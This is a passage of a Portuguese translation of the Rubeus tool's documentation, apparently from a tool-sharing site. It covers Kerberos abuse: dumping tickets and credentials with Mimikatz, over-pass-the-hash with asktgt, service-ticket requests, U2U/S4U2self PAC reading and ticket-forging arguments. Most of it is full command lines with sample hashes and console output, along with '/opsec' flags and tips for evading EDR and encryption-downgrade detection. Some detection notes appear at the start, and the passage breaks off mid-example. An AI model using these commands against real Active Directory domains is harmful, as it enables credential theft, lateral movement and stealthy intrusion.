Da perspectiva de logs de rede ou controlador de domínio, como o Rubeus implementa muitas partes do protocolo Kerberos normal, o principal método de detecção envolve o uso de rc4_hmac em trocas Kerberos. Domínios Windows modernos (nível funcional 2008 e superior) usam criptografia AES por padrão em trocas Kerberos normais (com algumas exceções, como tickets de confiança entre reinos). Usar um hash rc4_hmac (NTLM) em uma troca Kerberos em vez de uma chave aes256_cts_hmac_sha1 (ou aes128) resulta em algum sinal que é detectável no nível do host, no nível da rede (se o tráfego Kerberos for analisado) e no nível de log de eventos do controlador de domínio, às vezes conhecido como "rebaixamento de criptografia".

Weaponization

Uma maneira comum pela qual ferramentas de ataque são detectadas é através do vetor de weaponization para o código. Se o Rubeus for executado através do PowerShell (isso inclui o Empire), todas as proteções padrão do PowerShell V5 se aplicam (log profundo de blocos de script, AMSI, etc.). Se o Rubeus for executado como um binário em disco, a detecção padrão de assinatura AV entra em jogo (parte do motivo pelo qual não lançamos versões compiladas do Rubeus, já que assinaturas frágeis são bobas ;). Se o Rubeus for usado como uma biblioteca, então ele é suscetível ao método que a ferramenta principal usa para executar. E se o Rubeus for executado através de execução de assembly não gerenciado (como o execute_assembly do Cobalt Strike), é realizada injeção de código entre processos e o CLR é carregado em um processo potencialmente não-.NET, embora esse sinal esteja presente para a execução de qualquer código .NET usando este método.

Além disso, o AMSI (Interface de Verificação de Antimalware) foi adicionado ao .NET 4.8. Ryan Cobb tem detalhes adicionais sobre as implicações ofensivas disso na seção Defesa de seu post “Entering a Covenant: .NET Command and Control”.

Exemplo: Extração de Credenciais

Digamos que temos acesso elevado em uma máquina e queremos extrair credenciais de usuário para reutilização.

O Mimikatz é o canivete suíço da extração de credenciais, com múltiplas opções. O comando sekurlsa::logonpasswords abrirá um handle de leitura para LSASS, enumerará as sessões de logon presentes no sistema, percorrerá os pacotes de autenticação padrão para cada sessão de logon e extrairá qualquer material de senha/credencial reversível presente. Nota lateral: o comando sekurlsa::ekeys enumerará TODOS os tipos de chave presentes para o pacote Kerberos.

O Rubeus não tem nenhum código para tocar no LSASS (e nenhum é pretendido), então sua funcionalidade é limitada a extrair tickets Kerberos através do uso da API LsaCallAuthenticationPackage(). De uma perspectiva não elevada, as chaves de sessão para TGTs não são retornadas (por padrão), então apenas tickets de serviço extraídos serão utilizáveis (o comando tgtdeleg usa um truque do Kekeo para obter um TGT utilizável para o usuário atual). Se em um contexto de alta integridade, um equivalente a GetSystem utilizando duplicação de token é executado para elevar para SYSTEM, e um aplicativo de logon falso é registrado com a chamada de API LsaRegisterLogonProcess(). Isso permite a enumeração privilegiada e extração de todos os tickets atualmente registrados com LSA no sistema, resultando em blobs .kirbi codificados em base64 para reutilização posterior.

O Mimikatz pode realizar a mesma extração de .kirbi base64 com a seguinte série de comandos:

root@kitploit:~
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export

O Mimikatz também pode extrair tickets diretamente da memória do LSASS com:

root@kitploit:~
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export

Como "tudo é furtivo até que alguém esteja procurando", é discutível se a manipulação do LSASS ou a extração de tickets através da chamada de API LsaCallAuthenticationPackage() é mais "furtiva". Devido à popularidade do Mimikatz, abrir um handle para LSASS e ler/escrever sua memória tornou-se um grande alvo para detecção e/ou prevenção de EDR. No entanto, LsaCallAuthenticationPackage() é usado por um conjunto bastante limitado de processos, e criar um aplicativo de logon falso com LsaRegisterLogonProcess() também é um comportamento bastante anômalo. No entanto, a introspecção e o baselining completos no nível da API parecem ser um problema técnico mais difícil do que a proteção do LSASS.

Exemplo: Over-pass-the-hash

Digamos que recuperamos um hash rc4_hmac (NTLM) de um usuário e queremos reutilizar essa credencial para comprometer uma máquina adicional onde a conta de usuário tem acesso privilegiado.

Nota lateral: pass-the-hash != over-pass-the-hash. A técnica tradicional de pass-the-hash envolve reutilizar um hash através do protocolo NTLMv1/NTLMv2, que não toca no Kerberos. A abordagem over-pass-the-hash foi desenvolvida por Benjamin Delpy e Skip Duckwall (veja sua apresentação "Abusing Microsoft Kerberos - Sorry you guys don't get it" para mais informações). Essa abordagem transforma um hash/chave (rc4_hmac, aes256_cts_hmac_sha1, etc.) para um usuário associado ao domínio em um ticket de concessão de ticket (TGT) completo.

Vamos comparar "over-passing-the-hash" via o comando sekurlsa::pth do Mimikatz versus usar o comando asktgt do Rubeus (ou Kekeo se preferir).

Quando sekurlsa::pth é usado para over-pass-the-hash, o Mimikatz primeiro cria um novo processo de tipo de logon 9 com credenciais fictícias - isso cria uma nova sessão de logon "de sacrifício" que não interage com a sessão de logon atual. Em seguida, abre o processo LSASS com a capacidade de escrever na memória do processo, e o hash/chave fornecido é então aplicado na seção apropriada para a sessão de logon associada (neste caso, a sessão de logon "de sacrifício" que foi iniciada). Isso faz com que o processo de autenticação Kerberos normal seja iniciado como se o usuário tivesse feito logon normalmente, transformando o hash fornecido em um TGT completo.

Quando o comando asktgt do Rubeus é executado (ou o equivalente do Kekeo), o protocolo Kerberos bruto é usado para solicitar um TGT, que é então aplicado à sessão de logon atual se o sinalizador /ptt for passado.

Com a abordagem do Mimikatz, são necessários direitos administrativos, pois você está manipulando diretamente a memória do LSASS. Como mencionado anteriormente, a popularidade do Mimikatz também levou a que esse tipo de comportamento (abrir um handle para LSASS e ler/escrever sua memória) seja um grande alvo para detecção e/ou prevenção de EDR. Com a abordagem do Rubeus/Kekeo, não são necessários direitos administrativos, pois o LSASS não está sendo tocado. No entanto, se o ticket for aplicado à sessão de logon atual (com /ptt), o TGT da sessão de logon atual será sobrescrito. Esse comportamento pode ser evitado (com acesso administrativo) usando o comando /createnetonly para criar um processo/sessão de logon de sacrifício, e então usar /ptt /ticket:X /luid:0xa.. com o LUID do processo recém-criado. Se estiver usando o Cobalt Strike, usar o comando make_token com credenciais fictícias e depois kerberos_ticket_use com o ticket recuperado pelo Rubeus permitirá aplicar o novo TGT de uma maneira que a) não precisa de direitos administrativos e b) não sobrescreve o TGT da sessão de logon atual.

É nossa opinião que a abordagem de manipulação do LSASS é mais provável (no momento atual) de ser detectada ou mitigada devido à popularidade da técnica. No entanto, a abordagem do Rubeus resulta em outro pedaço de comportamento detectável. O tráfego Kerberos para a porta 88 normalmente deve se originar apenas de lsass.exe - enviar tráfego bruto desse tipo de um processo anormal pode ser detectável se a informação puder ser coletada.

Nota lateral: uma maneira pela qual ambas as abordagens podem potencialmente ser pegas é a detecção de "rebaixamento de criptografia" mencionada anteriormente. Para recuperar chaves AES, use o módulo sekurlsa::ekeys do Mimikatz para retornar TODAS as chaves de criptografia Kerberos (o mesmo com lsadump::dcsync) que são melhores para usar ao tentar evadir algumas detecções.

Solicitações e renovações de tickets

Detalhamento dos comandos de solicitação de ticket:

asktgt

A ação asktgt construirá tráfego AS-REQ bruto (solicitação de TGT) para o usuário e chave de criptografia especificados (/rc4, /aes128, /aes256 ou /des). Um sinalizador /password também pode ser usado em vez de um hash - neste caso, /enctype:X terá como padrão RC4 para a troca, com des|aes128|aes256 como opções. Se nenhum /domain for especificado, o domínio atual do computador é extraído, e se nenhum /dc for especificado, o mesmo é feito para o controlador de domínio atual do sistema. Se a autenticação for bem-sucedida, o AS-REP resultante é analisado e o KRB-CRED (um .kirbi, que inclui o TGT do usuário) é emitido como um blob base64. O sinalizador /ptt irá "passar-o-ticket" e aplicar a credencial Kerberos resultante à sessão de logon atual. O sinalizador /luid:0xA.. aplicará o ticket ao ID de sessão de logon especificado (elevação necessária) em vez da sessão de logon atual.

Observe que nenhum privilégio elevado é necessário no host para solicitar TGTs ou aplicá-los à sessão de logon atual, apenas o hash correto para o usuário alvo. Além disso, outra nota opsec: apenas um TGT pode ser aplicado por vez à sessão de logon atual, então o TGT anterior é apagado quando o novo ticket é aplicado ao usar a opção /ptt. Uma solução alternativa é usar o parâmetro /createnetonly:C:\X.exe (que oculta o processo por padrão, a menos que o sinalizador /show seja especificado), ou solicitar o ticket e aplicá-lo a outra sessão de logon com ptt /luid:0xA...

Por padrão, existem várias diferenças entre AS-REQ gerados pelo Rubeus e AS-REQ genuínos. Para formar AS-REQ mais alinhados com solicitações genuínas, o sinalizador /opsec pode ser usado; isso enviará primeiro um AS-REQ sem pré-autenticação; se for bem-sucedido, o AS-REP resultante é descriptografado e o TGT retornado; caso contrário, um AS-REQ com pré-autenticação é então enviado. Como este sinalizador pretende tornar o tráfego do Rubeus mais furtivo, ele não pode, por padrão, ser usado com qualquer tipo de criptografia diferente de aes256 e apenas emitirá um aviso e sairá se outro tipo de criptografia for usado. Para permitir que outros tipos de criptografia sejam usados com as alterações /opsec, o sinalizador /force existe.A autenticação PKINIT é suportada com o argumento /certificate:X. Quando a chave privada dentro do arquivo PFX estiver protegida por senha, essa senha pode ser passada com o argumento /password:X. Ao usar autenticação PKINIT, a flag /getcredentials pode ser usada para solicitar automaticamente um tíquete de serviço U2U e recuperar o hash NT da conta.

Solicitar um TGT sem um PAC pode ser feito usando o switch /nopac.

Usar um proxy KDC (MS-KKDCP) para fazer a solicitação é possível usando o argumento /proxyurl:URL. A URL completa do proxy KDC é necessária, ex. https://kdcproxy.exmaple.com/kdcproxy

A flag /nopreauth pode ser usada para enviar um AS-REQ sem pré-autenticação. O argumento /service:SPN pode ser usado para solicitar tíquetes de serviço diretamente usando AS-REQ, ele aceitará um SPN ou um nome de usuário.

Solicitando um tíquete via hash RC4 para [email protected], aplicando-o à sessão de logon atual:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):

    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

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  krbtgt/testlab.local
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:06:07 PM
EndTime               :  2/25/2019 8:06:07 PM
RenewTill             :  3/4/2019 3:06:07 PM
Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  +zY8adXi2NuvkAxl1ohUOA==

Solicitando um tíquete via hash aes256_hmac para [email protected], iniciando um novo processo oculto e aplicando o tíquete a essa sessão de logon. Nota: elevação necessária!

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 7564
[+] LUID            : 0x3c4c241

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...

[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!

Observe que os parâmetros /luid e /createnetonly exigem elevação!

Solicitando um tíquete usando um certificado e usando /getcredentials para recuperar o hash NT:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  krbtgt/rubeus.ghostpack.local
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  14/07/2021 02:25:33
  EndTime                  :  14/07/2021 12:25:33
  RenewTill                :  21/07/2021 02:25:33
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  7MS2ajfZo4HedoK+K3dLcQ==
  ASREP (key)              :  9B1C28A276FBBE557D0F9EE153FE24E1

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : C69A7EA908898C23B72E65329AF7E3E8

asktgs

A ação asktgs irá construir/analisar uma solicitação de tíquete de serviço TGS-REQ/TGS-REP bruta usando o TGT /ticket:X fornecido. Esse valor pode ser uma codificação base64 de um arquivo .kirbi ou o caminho para um arquivo .kirbi no disco. Se um /dc não for especificado, o controlador de domínio atual do computador é extraído e usado como destino para o tráfego da solicitação. A flag /ptt irá "passar o tíquete" e aplicar o tíquete de serviço resultante à sessão de logon atual. Um ou mais SPNs /service:X devem ser especificados, separados por vírgula.

Os tipos de criptografia suportados no TGS-REQ construído serão RC4_HMAC, AES128_CTS_HMAC_SHA1 e AES256_CTS_HMAC_SHA1. Nesse caso, a criptografia mutuamente suportada mais alta será usada pelo KDC para construir o tíquete de serviço retornado. Se você quiser forçar chaves DES, RC4 ou AES128/256, use /enctype:[RC4|AES128|AES256|DES].

Para solicitar um tíquete de serviço para uma conta usando um principal empresarial (ou seja, [email protected]), a flag /enterprise pode ser usada.

Por padrão, existem várias diferenças entre os TGS-REQ gerados pelo Rubeus e os TGS-REQ genuínos. Para formar TGS-REQ mais alinhados com solicitações genuínas, a flag /opsec pode ser usada; isso também fará com que um TGS-REQ adicional seja enviado automaticamente quando um tíquete de serviço for solicitado para uma conta configurada para delegação irrestrita. Como essa flag tem a intenção de tornar o tráfego do Rubeus mais furtivo, ela não pode, por padrão, ser usada com nenhum tipo de criptografia diferente de aes256 e apenas exibirá um aviso e sairá se outro tipo de criptografia for usado.

Para explorar outros cenários manualmente, /tgs:X pode ser usado para fornecer um tíquete adicional que é anexado ao corpo da solicitação. Isso também adiciona a opção KDC de delegação restrita e evita determinar dinamicamente o domínio a partir do SPN /service:X fornecido; por esse motivo, o argumento /targetdomain:X foi implementado para forçar a solicitação a usar o domínio fornecido, o que é útil para solicitar tíquetes de serviço delegados de um domínio estrangeiro ou tíquetes com SPNs incomuns.

A flag /u2u foi implementada para solicitar tíquetes Usuário-para-Usuário. Junto com o argumento /tgs:X (usado para fornecer o TGT da conta alvo), o argumento /service:X pode ser o nome de usuário da conta para a qual o TGT fornecido é (com o argumento /tgs:X). O argumento /targetuser:X solicitará um PAC de qualquer outra conta inserindo uma seção de dados PA-FOR-USER PA com o nome de usuário do usuário alvo.

A flag /printargs imprimirá os argumentos necessários para forjar um tíquete com os mesmos valores de PAC se o PAC for legível. Isso pode ser feito fornecendo o argumento /servicekey:X ou realizando uma solicitação /u2u com uma chave de sessão conhecida.

Usar um proxy KDC (MS-KKDCP) para fazer a solicitação é possível usando o argumento /proxyurl:URL. A URL completa do proxy KDC é necessária, ex. https://kdcproxy.exmaple.com/kdcproxy

A flag /keyList foi implementada para Key List Requests do Kerberos. Essas solicitações devem utilizar um TGT parcial forjado de um controlador de domínio somente leitura no parâmetro /ticket:BASE64|FILE.KIRBI; mais detalhes sobre esse TGT forjado na seção golden. Além disso, o campo /spn:x deve ser definido como o SPN KRBTGT dentro do domínio, ex. KRBTBT/domain.local.

A ação asktgs também suporta a solicitação de tíquetes de serviço através do pacote de autenticação Kerberos usando LSASS. Esse modo de operação pode ser ativado omitindo o argumento /ticket. Por padrão, o TGT associado à sessão de logon atual é usado. Uma sessão de logon alternativa pode ser alvo fornecendo o argumento /luid:xxx. Privilégios de administrador local são necessários ao mirar outras sessões de logon. Atualmente, apenas tíquetes de serviço simples podem ser solicitados via LSASS. Argumentos para recursos como S4U2Self, U2U, key list e proxy KDC são ignorados. Solicitar tíquetes de serviço via LSASS pode ser frequentemente mais amigável para opsec, já que o tráfego Kerberos se originará do LSASS. Este modo também é necessário para cenários onde o Credential Guard / Remote Credential Guard está ativo, pois não é possível despejar TGTs com credential guard.

Solicitando um TGT para dfm.a e então usando esse tíquete para solicitar um tíquete de serviço para os SPNs "LDAP/primary.testlab.local" e "cifs/primary.testlab.local":

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!


C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: List Kerberos Tickets (Current User)

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : cifs/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

    [1] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : LDAP/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

Solicitando um tíquete de serviço para uma conta de serviço habilitada para AES, especificando que suportamos apenas RC4_HMAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFrjCCBaqgAwIBBaEDA...(snip)...

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  roast/me
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:10:59 PM
EndTime               :  2/25/2019 8:09:54 PM
RenewTill             :  3/4/2019 3:09:54 PM
Flags                 :  name_canonicalize, pre_authent, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  Gg3zZicIl5c50KGecCf8XA==

Solicitando um tíquete de serviço usuário-para-usuário e incluindo a seção PA-DATA PA for User (uma solicitação S4U2self), é possível obter um PAC legível para qualquer usuário:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      cGxvaXRwaA==ServiceName              :  exploitph
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  ccob
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  20/07/2021 22:00:07
  EndTime                  :  21/07/2021 07:59:39
  RenewTill                :  27/07/2021 21:59:39
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 01/01/1601 00:00:00
      LogoffTime           :
      KickOffTime          :
      PasswordLastSet      : 20/07/2021 21:58:44
      PasswordCanChange    : 21/07/2021 21:58:44
      PasswordMustChange   : 31/08/2021 21:58:44
      EffectiveName        : ccob
      FullName             : C Cob
      LogonScript          :
      ProfilePath          :
      HomeDirectory        :
      HomeDirectoryDrive   :
      LogonCount           : 0
      BadPasswordCount     : 0
      UserId               : 1109
      PrimaryGroupId       : 513
      GroupCount           : 1
      Groups               : 513
      UserFlags            : (32) EXTRA_SIDS
      UserSessionKey       : 0000000000000000
      LogonServer          : PDC1
      LogonDomainName      : RUBEUS
      LogonDomainId        : S-1-5-21-3237111427-1607930709-3979055039
      UserAccountControl   : (16) NORMAL_ACCOUNT
      ExtraSIDCount        : 1
      ExtraSIDs            : S-1-18-2
      ResourceGroupCount   : 0
    ClientName             :
      Client Id            : 20/07/2021 21:59:39
      Client Name          : ccob
    UpnDns                 :
      DNS Domain Name      : RUBEUS.GHOSTPACK.LOCAL
      UPN                  : [email protected]
      Flags                : 0
    ServerChecksum         :
      Signature Type       : KERB_CHECKSUM_HMAC_MD5
      Signature            : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
    KDCChecksum            :
      Signature Type       : KERB_CHECKSUM_HMAC_SHA1_96_AES256
      Signature            : DA57618BB48EA56371E374B1 (UNVALIDATED)

Se o PAC puder ser descriptografado (usando uma solicitação user-to-user ou passando a /servicekey), é possível imprimir os argumentos necessários para forjar um ticket contendo os mesmos valores do PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Ação: Solicitar TGS

